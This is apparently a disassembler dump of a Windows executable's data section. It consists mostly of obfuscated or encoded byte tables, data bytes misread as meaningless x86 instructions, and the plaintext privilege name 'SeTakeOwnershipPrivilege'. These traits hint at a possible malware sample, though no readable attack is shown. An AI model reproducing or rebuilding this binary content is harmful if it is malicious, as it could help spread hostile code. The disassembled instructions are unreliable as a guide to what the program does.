		db 74h,	58h, 7Eh
		db  59h	; Y
		db 5Eh,	43h, 5Eh
		db  56h	; V
		db 5Bh,	5Eh, 4Dh
		db  52h	; R
		align 2
		dw 10h
		db 0FCh	; ü
aUOsaisTpiatqs	db '¿“¿Ž™ˆ™µ’ˆ’Ÿ™',0
		dw 0Fh
aSvnIezuomXuipj	db '᢭²¨¥§“ŽŒ²•“ˆ†',0
		db 9,0
		db 94h
		db 0FBh	; û
		db 0F8h, 0F1h, 0A7h
		db 0A6h	; ¦
		db 0BAh, 0F0h, 0F8h
		db 0F8h	; ø
		align 2
		dw 9
		db  51h	; Q
		db 3Eh,	3Dh, 34h
		db  62h	; b
		db 63h,	7Fh, 35h
		db  3Dh	; =
		db 3Dh,	0, 1
		db    0
		db 20h,	7Ch, 0
		db  13h
		align 2
aIKsMnSK	db 'Þ‰¿·ª˜±¬·°¹²»‘¼´»½ª',0
		db 10h
		db    0
		db 3Eh,	79h, 5Bh
		db  4Ah	; J
		db 7Dh,	51h, 53h
		db  4Eh	; N
		db 4Bh,	4Ah, 5Bh
		db  4Ch	; L
		db 70h,	5Fh, 53h
		db  5Bh	; [
		db 7Fh,	0, 16h
		db    0
		db 76h,	31h, 13h
		db    2
		db 33h,	18h, 0
		db  1Fh
		db 4, 19h, 18h
		db  1Bh
		db 13h,	18h, 2
		db  25h	; %
		db 2, 4, 1Fh
		db  18h
		db 11h,	5, 37h
		db    0
		db 17h,	0, 18h
		db  5Eh	; ^
		db 6Ah,	2 dup(7Dh)
		db  5Dh	; ]
		db 76h,	6Eh, 71h
		db  6Ah	; j
		db 77h,	76h, 75h
		db  7Dh	; }
		db 76h,	6Ch, 4Bh
		db  6Ch	; l
; ---------------------------------------------------------------------------
		push	71h
		jbe	short loc_426948
		imul	ebx, [ecx+0], 12h
		add	[ebx], ah
		db	64h
		inc	esi
		push	edi
		pusha
		push	esi
		push	ecx
		push	ecx
		inc	esi
		dec	ebp
		push	edi
		ja	short loc_426926
		push	ecx
		inc	esi
		inc	edx
		inc	edi
		push	47h
		add	[ebx], dl
		add	[edx+5], al
		daa
		add	ss:[edi], esi
		xor	[eax], dh
		daa
		sub	al, 36h
		adc	dh, [eax]
		sub	eax, 31312721h
		or	esp, [esi]
		add	[ebx], cl
		add	[ecx-303B2E12h], ah
		icebp
		ror	esi, cl
		retn	0D2C4h
; ---------------------------------------------------------------------------
		dw 0D2h
		dd 6720000Eh, 4F6C5445h, 454C4143h, 4F464E69h, 0D0061h
		dd 7E6F4D0Ah, 79786F5Ch
		db 63h,	65h
; ---------------------------------------------------------------------------


loc_426926:				; CODE XREF: .data:004268D9j
		db	64h
		dec	edi
		jb	short near ptr loc_426971+4
		add	[eax+eax], dl
		ficomp	dword ptr [ebx+esi*4-4C71404Ah]
		mov	bh, 0BFh
; ---------------------------------------------------------------------------
		dw 0B58Eh
		dd 0AEA9A389h, 0B38EB7BFh, 0F00BFB7h, 321E5D00h
; ---------------------------------------------------------------------------


loc_426948:				; CODE XREF: .data:004268C7j
		xor	ds:1B382F3Ch, ch
		xor	al, 31h
		cmp	[ecx], cl
		xor	al, 30h
		cmp	[eax], al
		adc	eax, 0B99BDC00h
		test	al, 8Ah
		mov	bl, 0B0h
		test	eax, 0B295B9B1h
		mov	edx, 0BDB1AEB3h
		test	al, 0B5h
		mov	bl, 0B2h
		popf
		add	[eax+eax], dl


loc_426971:				; CODE XREF: .data:00426928j
		push	0D1C0621h
		sbb	al, [edi+eax]
		or	eax, [ebx]
		or	eax, 0B0D2C0Ch
		sbb	cl, ds:1C060D05h
		add	[eax+eax], dl
		db	66h
		das
		or	[edx], dl
		add	edx, [edx+ecx]
		or	ds:2F02030Dh, eax
		or	ds:30B0314h, al
		or	[edx], dl
		add	[ebx], dl
		add	[ebx], cl
		dec	esp
		outsb
		jg	short near ptr loc_4269FD+1
		jb	short near ptr loc_426A1F+1
		jg	short loc_426A18
		dec	di
		bound	edi, [ecx+6Eh]
		push	7279647Fh
		dec	edx
		add	[edx], dl
		add	[edi], ch
		push	40625B4Ah
		dec	ebx
		pop	edx
		inc	ebx
		dec	edx
		imul	eax, [esi+43h],	424E614Ah
		dec	edx
		outsb
		add	[edx], cl
		add	[eax], bh
		ja	short loc_426A19
		pop	ebp
		push	esi
		jnz	short near ptr loc_426A1F+3
		dec	esp
		pop	ebp
		inc	eax
		jns	short $+2
		or	al, 0
		mov	edx, ecx
		sti
		in	al, dx
		call	near ptr 0FD0756E2h
		std
		in	al, dx
		icebp
		enter	900h, 0
		push	1118072Bh
		add	cs:110029h[ecx], eax
		jno	short loc_426A31
		adc	al, 5


loc_4269FD:				; CODE XREF: .data:004269A4j
		xor	eax, 371A0218h
		add	edx, [esp+edx]
		and	al, [ecx]
		adc	[edx], dl
		adc	al, 30h
		add	[eax+eax], cl
		mov	ds:0E6D7C6F0h, eax
		rcl	ecx, 1
		int	3		; Trap to Debugger
		shr	esi, 1


loc_426A18:				; CODE XREF: .data:004269A8j
		int	3		; Trap to Debugger


loc_426A19:				; CODE XREF: .data:004269CFj
		mov	esi, 0EE001100h


loc_426A1F:				; CODE XREF: .data:004269A6j
					; .data:004269D3j
		test	eax, 96AB9A8Bh
		xchg	ebx, [edx-74757E53h]
		mov	edx, 8F8B9C86h
		mov	al, [eax]


loc_426A31:				; CODE XREF: .data:004269F9j
		or	eax, 26044300h
		aaa
		pop	es
		xor	[edx], ebp
		xor	eax, 333A1726h
		add	al, es:[eax]
		or	[eax], eax
		sbb	al, 5Ah
		jnz	short near ptr loc_426AB9+1
		js	short loc_426AA9
		jo	short near ptr loc_426ABD+2
		outsd
		jns	short $+2
		or	eax, 1D327400h
		sbb	dl, [eax]
		cmp	dl, [ecx]
		or	al, 0
		xor	bl, ds:351118h
		push	cs
		add	[eax+16h], dl
		cmp	[esi], edi
		xor	al, 16h
		cmp	[edx], esp
		and	esp, [esi+edx]
		cmp	ds:0C0011h[esi], edi
		retn
; ---------------------------------------------------------------------------
		db 84h,	0A6h, 0B7h
		dd 0A8A0AA97h, 0ADB6AC80h, 0D00B7h, 657D5B09h, 667B6C53h
		dd 66646C44h, 0D00707Bh, 83A1E600h, 959FB592h, 0B28B8392h
		dd 838B8Fh, 0ABE70009h
		db 88h
; ---------------------------------------------------------------------------


loc_426AA9:				; CODE XREF: .data:00426A48j
		test	[esi-7D6A5E75h], al
		add	byte ptr [eax],	0Ah
		add	[ebp-0B090527h], dl
		stc


loc_426AB9:				; CODE XREF: .data:00426A46j
		aam	0F9h
		stc
		cli


loc_426ABD:				; CODE XREF: .data:00426A4Aj
		test	byte ptr [eax],	0Bh
		add	[edx+edx+2Dh], al
		xor	ss:[ecx], dh
		and	eax, 21360228h
		and	[eax], eax
		or	al, 0
		popa
		aaa
		or	[ebx], dl
		adc	eax, 200D0014h
		or	eax, 20E0Dh
		or	[eax], al
		db	66h
		xor	al, 3
		pop	es
		add	ah, [eax]
; ---------------------------------------------------------------------------
		dw 0A0Fh
		db    3
		align 2
		dw 0Ch
		db  7Bh	; {
		db 3Ch,	1Eh, 0Fh
		db  2Fh	; /
		db 1Eh,	16h, 0Bh
		db  2Bh	; +
		db 1Ah,	0Fh, 13h
		db  3Ah	; :
		align 2
		dw 12h
		db  42h	; B
		db 5, 0Eh, 2Dh
		db  20h
		db 23h,	2Eh, 0Fh
		db  27h	; '
		db 2Fh,	2Dh, 30h
		db  3Bh	; ;
		db 11h,	36h, 23h
		db  36h	; 6
		db 37h,	31h, 0
		db  13h
		align 2
		dw 0B1FCh
aIrixEisiulxssF	db '‰ˆ•¾…ˆ™¨“«•˜™¿”Ž',0
		db 13h
		db    0
		db 7Fh,	28h, 16h
		db  1Bh
		db 1Ah,	3Ch, 17h
		db  1Eh
		db 0Dh,	2Bh, 10h
		db  32h	; 2
		db 0Ah,	13h, 0Bh
		db  16h
		db 3Dh,	6, 0Bh
		db  1Ah
		align 2
		dw 7
		db 0CFh	; Ï
		db 98h,	0A6h, 0A1h
		db  8Ah	; Š
		db 0B7h, 0AAh, 0ACh
		db    0
		db 8, 0, 35h
		db  59h	; Y
		db 46h,	41h, 47h
		db  59h	; Y
		db 50h,	5Bh, 62h
		db    0
		db 0Bh,	0, 69h
		db  2Eh	; .
		db 0Ch,	1Dh, 2Fh
		db    0
		db 5, 0Ch, 3Ah
		db    0
		db 13h,	0Ch, 0
		db  0Bh
		align 2
		dw 5D1Eh
		db  72h	; r
		db 71h,	6Dh, 7Bh
		db  56h	; V
		db 7Fh,	70h, 7Ah
		db  72h	; r
		db 7Bh,	0, 9
		db    0
		db 63h,	34h, 11h
		db  0Ah
		db  17h
		db    6
		db  25h	; %
		db  0Ah
		db  0Fh
		db    6
		db    0
		db 0Eh
		align 2
		dw 0D586h
		db 0E3h	; ã
		db 0F2h, 0C0h, 0EFh
		db 0EAh	; ê
		db 0E3h, 0D6h, 0E9h
		db 0EFh	; ï
		db 0E8h, 0F2h, 0E3h
		db 0F4h	; ô
		align 2
		dw 0Bh
		db 0FDh	; ý
		db 0B9h, 98h, 91h
		db  98h	; ˜
		db 89h,	98h, 0BBh
		db  94h	; ”
		db 91h,	98h, 0BCh
		db    0
		db 0Bh,	0, 7Ch
		db  3Fh	; ?
		db 0Eh,	19h, 1Dh
		db    8
		db 19h,	3Ah, 15h
		db  10h
		db 19h,	3Dh, 0
		db  0Ch
		align 2
		dw 5E12h
		db  7Dh	; }
		db 73h,	76h, 5Eh
		db  7Bh	; {
		db 70h,	60h, 73h
		db  60h	; `
		db 6Bh,	53h, 0
		db  10h
		align 2
		dw 5D1Ah
		db  7Fh	; 
		db 6Eh,	57h, 75h
		db  7Eh	; ~
		db 6Fh,	76h, 7Fh
		db  52h	; R
		db 7Bh,	74h, 7Eh
		db  76h	; v
		db 7Fh,	5Bh, 0
		db    4
		align 2
		dw 0E4A6h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0D6h
		db  0Ah
		align 2
		dw 0B5F0h
		db  88h	; ˆ
		db 99h,	84h, 0A4h
		db  98h	; ˜
		db 82h,	95h, 91h
		db  94h	; ”
		align 2
		dw 3
		db  80h	; €
		db 0BBh, 0EFh, 0BDh
		db    0
		db 4, 0, 23h
		db  18h
		db 50h,	4Ch, 1Eh
		db    0
		db 4, 0, 44h
		db  7Fh	; 
		db 20h,	79h, 6Eh
		db    0
		db 3, 2	dup(0)
		db    0
		db 0D0h, 0, 99h
		db    0
		db 9Dh,	0, 97h
		db    0
		db 2 dup(0), 17h
		db    0
aXgxgxgxgaxgxgx	db 'Àå£å£å£å£íå£å£å£å£å£î£¯­',0
		dw 16h
aMMMMMtMMMMs	db 'Ïê¬ê¬ê¬ê¬ê¬âê¬ê¬ê¬ê¬á½º',0
		db    6
		align 2
		dw 741Fh
aTn2ig		db 'tn2ig',0
		db 8,0
		db  6Dh	; m
		db 48h,	1Eh, 32h
		db    0
		db 19h,	15h, 48h
		db  18h
		align 4
		db  9Eh	; ž
		align 2
		dw 1
		db 0FAh	; ú
		db 82h,	0, 10h
		db    0
a4gSq@rXpqfdu@U	db '4g|sQ@r[XPQFdU@\u',0
		db 0Bh,0
		db 71h,	2, 19h
		db  14h
		db 2 dup(1Dh), 42h
		db  43h	; C
		db 5Fh,	15h, 1Dh
		db  1Dh
		align 2
		dw 0Bh
		db  9Dh	; 
		db 0EEh, 0F5h, 0F8h
		db 0F1h	; ñ
		db 0F1h, 0AEh, 0AFh
		db 0B3h	; ³
		db 0F9h, 2 dup(0F1h)
		db    0
		db 6, 0, 0F8h
		db  8Bh	; ‹
		db 8Ch,	8Ah, 9Bh
		db  88h	; ˆ
		db 81h,	0, 8
		db    0
		db 73h,	5, 0
		db    3
		db 1, 1Ah, 1Dh
		db    7
		db 15h,	0, 7
		db    0
		db 87h,	0F4h, 0F7h
		db 0F5h	; õ
		db 0EEh, 0E9h, 0F3h
		db 0E1h	; á
		align 2
		dw 6
		db  48h	; H
		db 3Bh,	3Ch, 3Ah
		db  2Bh	; +
		db 29h,	3Ch, 0
		db    5
		align 2
		dw 0ACDFh
		db 0ADh	; ­
		db 0BEh, 0B1h, 0BBh
		db    0
		db 4, 0, 0A4h
		db 0D6h	; Ö
		db 0C5h, 0CAh, 0C0h
		db    0
		db 6, 0, 0E2h
		db  8Fh	; 
		db 87h,	8Fh, 91h
		db  87h	; ‡
		db 96h,	0, 6
		db    0
		db 0D2h, 0BFh, 0B7h
		db 0BFh	; ¿
		db 0B1h, 0A2h, 0ABh
		db    0
		db 6, 0, 93h
		db 0FEh	; þ
		db 0F6h, 0FEh, 0F0h
		db 0FEh	; þ
		db 0E3h, 0, 6
		db    0
		db 14h,	79h, 75h
		db  78h	; x
		db 78h,	7Bh, 77h
		db    0
		db 4, 0, 0E6h
		db  80h	; €
		db 94h,	2 dup(83h)
		db    0
		db 4, 0, 29h
		db  48h	; H
		dd offset loc_40465A+3
		db 7, 0, 8Dh
		db 0F9h	; ù
		db 0E2h, 0F8h, 0FDh
		db 0FDh	; ý
		db 0E8h, 0FFh, 0
		db    6
		align 2
		dw 1F40h
		db  33h	; 3
		db 2Ch,	2 dup(25h)
		db  30h	; 0
		align 2
		dw 0Ah
		db    6
		db 65h,	74h, 72h
		db  62h	; b
		db 2 dup(6Ah), 28h
		db  62h	; b
		db 2 dup(6Ah), 0
		db  0Ah
		align 2
		dw 0EB88h
		db 0FAh	; ú
		db 0FCh, 0ECh, 0E4h
		db 0E4h	; ä
		db 0A6h, 0ECh, 0E4h
		db 0E4h	; ä
		align 2
aSetakeowners_0	db 'SeTakeOwnershipPrivilege',0
		db 12h
		dd 83B6E500h, 0A396AC86h, 0B580898Ch, 80918A97h, 81809186h
		dd 50000700h, 7E333623h, 3C3C34h, 0D6A50007h, 0C18BC6C3h
		dd 0C9C9h, 400h, 70003200h, 76007D00h, 6B00h, 43000100h
		dd 40069h, 68686C68h, 0A0068h, 0BFBAAFDCh, 0F2AFB383h
		dd 0B0B0B8h, 0A8DB000Ah, 0B484B8BDh, 0B7BFF5A8h, 100B7h
		dd 2005925h, 0C894B400h, 15000100h, 4002Fh, 8CDCD9F9h
		dd 100C3h, 0A007408h, 6C705000h, 1D021F16h, 6E25756Ah
		dd 1C000B00h, 4E5A203Ch, 2659515Dh, 226939h, 0C5E5000Ah
		dd 0A4B7A3D9h, 0A8DFA0A8h, 0DBh, 400h, 4B002500h, 48004400h
		dd 4000h, 500h,	6007000h, 1C001100h, 15000500h,	1000000h
		dd 0F9DA00h, 0B1920001h, 23000100h, 70000h, 50504C24h
		dd 0B0B1E54h, 47000100h, 70064h, 0B8B8A4CCh, 0E3E3F6BCh
		dd 0C4042B00h, 0A7A1ACA7h, 0B4AAA1ACh, 0B7B7A1B6h, 0A2AAADEAh
		dd 0ABA3E7ABh, 0ABB4A0A8h, 0A7EAA8A8h, 0ADE7A9ABh, 0ABA3B0AAh
		dd 0A7EAA0A8h, 0B3E7A9ABh, 0A7EAB3B3h, 0B6EAB6A6h, 0B3B3E7B1h
		dd 0ABB7EAB3h, 0EAB7AFA7h, 0B7E7A7A5h, 0A9B6ABB0h, 0EABDA5B4h
		dd 0E7A9ABA7h, 0B0B1B6A7h, 0AAEAB4ABh, 0A1AAE7B1h, 0A3A1EAB3h
		dd 0ABA7EAA3h, 0B3B3E7A9h, 0ABB4EAB3h, 0B7ADBEAAh, 0B7A9A5A7h
		dd 0A9ABA7EAh, 0A8A1B3E7h, 0A1A9ABA7h, 0A9B7EAF7h, 0EAA1A8ADh
		dd 0B1EAABA7h, 0A8ABE7AFh, 0AAEAF6A6h, 0ABADB0A5h, 0EAB0A1AAh
		dd 0E7A9ABA7h, 0EAB3B3B3h, 0AAADA6A6h, 0E7B1B6EAh, 0B0B7A5A9h
		dd 0BCE9B6A1h, 0A9ABA7EAh, 0B3B3B3E7h, 0AAABB4EAh, 0A7B7ADBEh
		dd 0EAB7A9A5h, 0E7A9ABA7h, 0EAB3B3B3h, 0AFAAA5A6h, 0AAA5A6E9h
		dd 0E9A1B1B5h, 0A5AAA5A7h, 0A7EAA5A0h, 0B3B3E7A5h, 0ABB4EAB3h
		dd 0B7ADBEAAh, 0B7A9A5A7h, 0A9ABA7EAh, 0B3B3B3E7h, 0ABA9A6EAh
		dd 0A9ABA7EAh, 0BDA5B4E7h, 0EAA8A5B4h, 0E7A9ABA7h, 0BDA5A6A1h
		dd 0A9ABA7EAh, 0B3B3B3E7h, 0AAA5A6EAh, 0A9A2ABAFh, 0B6B1A0A5h
		dd 0ABA7EAA5h, 0B3B3E7A9h, 0ADA7EAB3h, 0A7EAA7A6h, 0B3E7A9ABh
		dd 0B2EAB3B3h, 0B6EAA6B0h, 0B3B3E7B1h, 0B3A7EAB3h, 0AFAAA5A6h
		dd 0A9ABA7EAh, 0A8ABA3E7h, 0A8ABB4A0h, 0ABA7EAA8h, 0B3B3E7A9h
		dd 0ABB4EAB3h, 0B7ADBEAAh, 0B7A9A5A7h, 0A9ABA7EAh, 0B3B3B3E7h
		dd 0A6A9A9EAh, 0EAAFAAA5h, 0B3E7B1B6h, 0B1EAB3B3h, 0B7A5ADAAh
		dd 0A9B1B6B0h, 0E7B1B6EAh, 0A0A8ABA3h, 0A8A8ABB4h, 0A9ABA7EAh
		dd 0B3B3B3E7h, 0AAABB4EAh, 0A7B7ADBEh, 0EAB7A9A5h, 0E7A9ABA7h
		dd 0EAB3B3B3h, 0A8B6ABB3h, 0AAA5A6A0h, 0B6ABEAAFh, 0B3B3E7A3h
		dd 0A5A7EAB3h, 0A0ADA0AAh, 0B2A1B0A5h, 0A2ADB6A1h, 0EAB6A1ADh
		dd 0E7A9ABA7h, 0EAB3B3B3h, 0BEAAABB4h, 0A5A7B7ADh, 0A7EAB7A9h
		dd 0B3E7A9ABh, 0A6EAB3B3h, 0ABAFAAA5h, 0A0AAADA2h, 0A7EAA5ADh
		dd 0B3E7A9ABh, 0ADEAB3B3h, 0AAA5A6A7h, 0B1B6EAAFh, 0AAA5A6E7h
		dd 0A3AAADAFh, 0A8A5ACEAh, 0BCA5A2ADh, 0A8AAABE9h, 0EAA1AAADh
		dd 0B1EAABA7h, 0B3B3E7AFh, 0A1B2EAB3h, 0B6ABA0AAh, 0A9A5AAB7h
		dd 0B7B3EAA1h, 0B3B3B3E7h, 0A6A9AFEAh, 0E7B1B6EAh, 0EAB3B3B3h
		dd 0A9B0A1AAh, 0B7ADA3A5h, 0EAB6A1B0h, 0E7A9ABA7h, 0AFB2A5AFh
		dd 0A1A7BEA5h, 0B6A1B0AAh, 0A9ABA7EAh, 0B3B3B3E7h, 0AAA1B2EAh
		dd 0B7B6ABA0h, 0A1A9A5AAh, 0E7B7B3EAh, 0AAABBDA9h, 0A1AAADA8h
		dd 0ABA7A7A5h, 0B7B0AAB1h, 0A6A5EAF6h, 0AABDA1A6h, 0ABADB0A5h
		dd 0EAA8A5AAh, 0B1EAABA7h, 0AAABE7AFh, 0A1AAADA8h, 0B7B1A6E9h
		dd 0B7A1AAADh, 0A8A8EAB7h, 0B7A0BDABh, 0EAA6B7B0h, 0B1EAABA7h
		dd 0B3B3E7AFh, 0A8A5EAB3h, 0A5ACA5A8h, 0A6A0A5A6h, 0EAAFAAA5h
		dd 0E7A9ABA7h, 0EAB3B3B3h, 0EAA7A6B6h, 0E7A9ABA7h, 0EAB3B3B3h
		dd 0BEAAABB4h, 0A5A7B7ADh, 0A7EAB7A9h, 0B3E7A9ABh, 0EAF5B3B3h
		dd 0A7A6B7ACh, 0E7A5A7EAh, 0B6A6A3AFh, 0BCA5A8A1h, 0A6B1A8A7h
		dd 0E7B1B6EAh, 0A6A9A5BDh, 0ADA6EAABh, 0ADAFE7BEh, 0E9B7ABA0h
		dd 0AFAAA5A6h, 0E7B1B6EAh, 0EAB3B3B3h, 0A0A7A6A8h, 0A7A1B6ADh
		dd 0A5A8EAB0h, 0AAA1B6B1h, 0AAA5ADB0h, 0AFAAA5A6h, 0E7A5A7EAh
		dd 0A7B6A5A6h, 0B7BDA5A8h, 0A9ABA7EAh, 0B0ABB0E7h, 0BDA8A8A5h
		dd 0A1A1B6A2h, 0AFAAA5A6h, 0EAA3AAADh, 0E7A9ABA7h, 0EAB3B3B3h
		dd 0EAA7A6AAh, 0F1E7A5A7h, 0AAA5A6F7h, 0ABA7EAAFh, 0B3B3E7A9h
		dd 0A1B2EAB3h, 0B6ABA0AAh, 0A9A5AAB7h, 0B7B3EAA1h, 0B3B3B3E7h
		dd 0A6F6A6EAh, 0B1B6B0E9h, 0A7EAB0B7h, 0B3E7A9ABh, 0B2EAB3B3h
		dd 0ABA0AAA1h, 0A5AAB7B6h, 0B3EAA1A9h, 0B4ABE7B7h, 0A5A6AAA1h
		dd 0A7EAAFAAh, 0B0E7A9ABh, 0AAE9B0A5h, 0A6B0A2A1h, 0EAAFAAA5h
		dd 0B7E7B1B6h, 0A5A8A7A1h, 0B1B6EAA6h, 0A7A1B7E7h, 0B0ADB6B1h
		dd 0A6A5A8BDh, 0E7B1B6EAh, 0ACB0A1A2h, 0EAA0B6A5h, 0E7BEADA6h
		dd 0AAABB6A3h, 0A5A8B4BCh, 0B7B0A1AAh, 0E7B1B6EAh, 0A0AAA1B2h
		dd 0AAB7B6ABh, 0EAA1A9A5h, 0E7B7B3h, 0CDBE000Dh, 0DBCACDC7h
		dd 0D1CCCED3h, 0DBD2D7D8h, 6A000600h, 31C180Fh,	1000F09h
		dd 0FEDA00h, 0CAEA0008h, 0BCB8AFB9h, 0AFA9A3h, 3B680006h
		dd 2D3C3B31h, 50025h, 898CC6E8h, 900899Ch, 5F7D2D00h, 4E584942h
		dd 496459h, 0E5D002Ch, 0A091B12h, 1180F1Ch, 2F3E3410h
		dd 3B322E32h, 340A0129h, 2A323933h, 9137D2Eh, 2F281E01h
		dd 2933382Fh, 2E2F380Bh, 333234h, 0E6B60009h, 0C3D2D9C4h
		dd 0D2FFC2D5h, 95002900h, 0C1D3DAC6h, 0D0C7D4C2h, 0F6FCD8C9h
		dd 0FAE6FAE7h, 0C2C9E1F3h, 0FAF1FBFCh, 0D6C9E6E2h, 0F0E7E7E0h
		dd 0F0C3E1FBh, 0FAFCE6E7h, 100FBh, 400EEC0h, 9B93BE00h
		dd 30090E6h, 6A335000h,	8000Ch,	69326247h, 62693262h, 20032h
		dd 0C3D997h, 0F5CC0002h, 94h, 400B0h, 989DD7F9h, 4008Dh
		dd 0E1E9FCD9h, 0F0081h,	446B3D18h, 3D747E7Ch, 2A2B626Dh
		dd 74747C36h, 26000F00h, 4D7A5503h, 4A530340h, 814155Ch
		dd 4A4A42h, 6144000Bh, 37611837h, 2A6A3161h, 4003728h
		dd 91D7F200h, 100AEC8h,	0F4D400h, 0F00000h, 0CD980013h
		dd 0F4FAF9F6h, 0F7ECB8FDh, 0ECEDF9B8h, 0F1EAF7F0h, 3500FDE2h
		dd 0D7ECB900h, 0DCD5DBD8h, 99D6CD99h, 0D1CDCCD8h, 0C3D0CBD6h
		dd 999499DCh, 0F6FAF7F0h, 0FAFCEBEBh, 0F0E999EDh, 0E99997F7h
		dd 0CAD8DCD5h, 0DA9995DCh, 0DCCBCBD6h, 97CDDAh,	0EFC20001h
		dd 0F7001E00h, 96929BA7h, 0D7DB9284h, 929B9284h, 0B2D78394h
		dd 859E878Fh, 989E8396h, 92AED799h, 1008596h, 7A5A00h
		dd 0C5C001Fh, 2F3D3930h, 2F7C7039h, 3F393039h, 24197C28h
		dd 3D2E352Ch, 32333528h, 3233117Ch, 2003428h, 67674700h
		dd 6A000100h, 120045h, 4D5D432Eh, 715D425Ah, 5A4F5A5Dh
		dd 4F4C5D5Bh, 1C1D5Ch, 4410000Eh, 79477271h, 677F747Eh
		dd 63717C53h, 50063h, 0E1CE98BDh, 500CE98h, 0B1E7C200h
		dd 0B1E79Eh, 0F7D20004h, 0F88EA1h, 40650005h, 39164016h
		dd 92000500h, 0E1B7E1B7h, 300CEh, 376E381Dh, 0F5000400h
		dd 0A9CF96D0h, 3000C00h, 73706A47h, 53776644h, 6E627162h
		dd 48000B00h, 213A291Eh, 13C2629h, 3C2126h, 491F000Ch
		dd 7E766D7Eh, 735C6B71h, 6D7E7Ah, 0C99A000Dh, 0E8DCE9E3h
		dd 0EEC9FFFFh, 0FDF4F3E8h, 8D000E00h, 0CCFEF4DEh, 0EEE2E1E1h
		dd 0E4FFF9DEh, 0C00EAE3h, 696A0500h, 71706460h,	612B3736h
		dd 0C006969h, 0A5A6C900h, 0BDBCA8ACh, 0ADE7FBFAh, 1600A5A5h
		dd 634C0F00h, 2F646C66h, 6A6C6140h, 2F605B2Fh, 7B61604Ch
		dd 6A7A6166h
		dd 26000600h, 72727364h, 1E006869h, 5185D00h, 1C0F140Dh
		dd 13121409h, 91C197Dh,	57575718h, 7D10091Ch, 7D13140Dh
		dd 1819121Eh, 39000600h, 6D786D6Ah, 7A70h, 4001500h, 6E6F2A00h
		dd 6007E63h, 3B390B00h,	7E39252Eh, 0C1000400h, 0B4F3EFE4h
		dd 6D000000h, 0C1000800h, 838C8E82h, 998E838Eh,	0C8000000h
		dd 0AD000800h, 0EFE0E2EEh, 0F5E2EFE2h, 0F7000600h, 0A3B6A3A4h
		dd 6E00B4BEh, 13A6F00h,	0A030D0Eh, 4F001B4Fh, 71B1A0Eh
		dd 15061D00h, 4A65410Ah, 1D1F4F1Ch, 1C0A0C00h, 801061Ch
		dd 10A0C4Fh, 4F1D0A1Bh,	1A4F1C06h, 30D0E01h, 1B4F0Ah, 1B1A0E4Fh
		dd 61D0007h, 164F0A15h,	4F1D1A00h, 0B1D0E0Ch, 411C4A4Fh
		dd 40E2265h, 0C4F0Ah, 0C0A1D1Dh, 100061Bh, 10E4F1Ch, 1D1B4F0Bh
		dd 80E4F16h, 4101060Eh,	58000A00h, 2C2B3915h, 391B2A3Dh
		dd 4003C2Ah, 0D7C89E00h, 100DFCDh, 644400h, 76250006h
		dd 6C716471h, 66h, 60080h, 0E6F3F4A7h, 0E4EEF3h, 0F4FE0015h
		dd 0AEDEDEDEh, 0BBBDB1ACh, 0B0B7ADADh, 0BFB8DEB9h, 0BABBB2B7h
		dd 0E8000600h, 0BCA9BCBBh, 600ABA1h, 50503B00h,	434D164Ah
		dd 18000800h, 7468605Dh, 6A7D6A77h, 0B2000900h,	0FDD1DDF6h
		dd 0D1D7D8D0h, 0E00C6h,	71724713h, 777D7A44h, 7F50647Ch
		dd 606072h, 900h, 0B006900h, 0F000C00h,	1B000600h, 2C000C00h
		dd 0D000700h, 5F000000h, 43162A00h, 5D0A4D47h, 425E4E43h
		dd 420A1A17h, 424D434Fh, 0A1A175Eh, 4E584548h, 1A17584Fh
		dd 4958590Ah, 5E5E4217h, 505105Ah, 4215590Fh, 0C590F17h
		dd 5F0F1743h, 450C590Fh, 0C5F0F17h, 490F174Ch, 1743590Ch
		dd 590C590Fh, 5F0F1745h, 17465E0Ch, 5C0C5F0Fh, 0C5F0F17h
		dd 590F174Eh, 2C0014h, 7A7E2B17h, 7E603770h, 2A7F6373h
		dd 727F3727h, 637F707Eh, 7537272Ah, 72736578h, 37272A65h
		dd 2A746564h, 28386432h, 74322A71h, 70029h, 89D58BB7h
		dd 89D5988Bh, 0A5000400h, 0F99FC680h, 0F3000400h, 0ABC1DDD6h
		dd 74000100h, 20051h, 92D4F1h, 6A390010h, 507F4D5Ch, 5C6A5C55h
		dd 504B4C5Ah, 78404Dh, 0F480017h, 211B3C2Dh, 2A3D1B2Ch
		dd 203C3D09h, 3C213A27h, 3D270B31h, 12003C26h, 0F5D79000h
		dd 0F4F9C3E4h, 0D1F2E5C3h, 0FFF8E4E5h, 0E9E4F9E2h, 8A001900h
		dd 0D9FEEFCDh, 0EEC3EEE3h, 0E3FEE4EFh, 0F8EFE3ECh, 0E2FEFFCBh
		dd 0FEE3F8E5h, 1A00F3h,	0F1E287Bh, 0E181E28h, 20F1209h
		dd 18081E3Fh, 0F0B1209h, 0C340914h, 91E15h, 0A5F60019h
		dd 93A58293h, 9F848395h, 93B28F82h, 9F849585h, 84998286h
		dd 9A9597B2h, 44001C00h, 302D2A0Dh, 2D28252Dh, 2117213Eh
		dd 2D363127h, 21003D30h, 2D362737h, 362B3034h, 2001500h
		dd 77686643h, 6D567671h, 526C6769h, 6B746B70h, 6765676Eh
		dd 130071h, 32230146h, 232D2912h, 20280F28h, 272B3429h
		dd 28292F32h, 11001500h, 7A7E7E5Dh, 63416164h, 7D786778h
		dd 47747674h, 74647D70h, 100050h, 0E9FCC38Ch, 0E3FEDCE2h
		dd 0FFFFE9EFh, 0E9E7E3D8h, 0C00E2h, 0E1F3D7Ah, 81F092Fh
		dd 1F171B34h, 0B003Bh, 64665103h, 706C6F40h, 7A664866h
		dd 7F001000h, 2E181A2Dh, 60D1A0Ah, 0A131E29h, 3E073A1Ah
		dd 0EB000D00h, 0A48C8EB9h, 0A0858E9Bh, 93AE928Eh, 0C00AAh
		dd 4C5E5B3Ah, 9534A5Bh,	565E1408h, 0C0056h, 5E4C4928h
		dd 1B415849h, 444C061Ah, 10044h, 1200376Bh, 0D3F8BD00h
		dd 0D8F9D0C8h, 0D2C9D6CEh, 0D3D4EACDh, 0CECAD2D9h, 8D000D00h
		dd 0E9E3E4CBh, 0E9E3E4DAh, 0F5C8FAE2h, 1000CCh,	0C1F396Dh
		dd 0C011E03h, 8200819h,	0A0C1E1Eh, 0A0008h, 67605B08h
		dd 66615F7Fh, 7F676Ch, 1645000Eh, 2C123120h, 322A212Bh
		dd 313D2011h, 0E0004h, 44556330h, 545E5967h, 5F7C475Fh
		dd 71575Eh, 0F2A10008h,	0C8F5D5C4h, 0D3C4CCh, 3B680008h
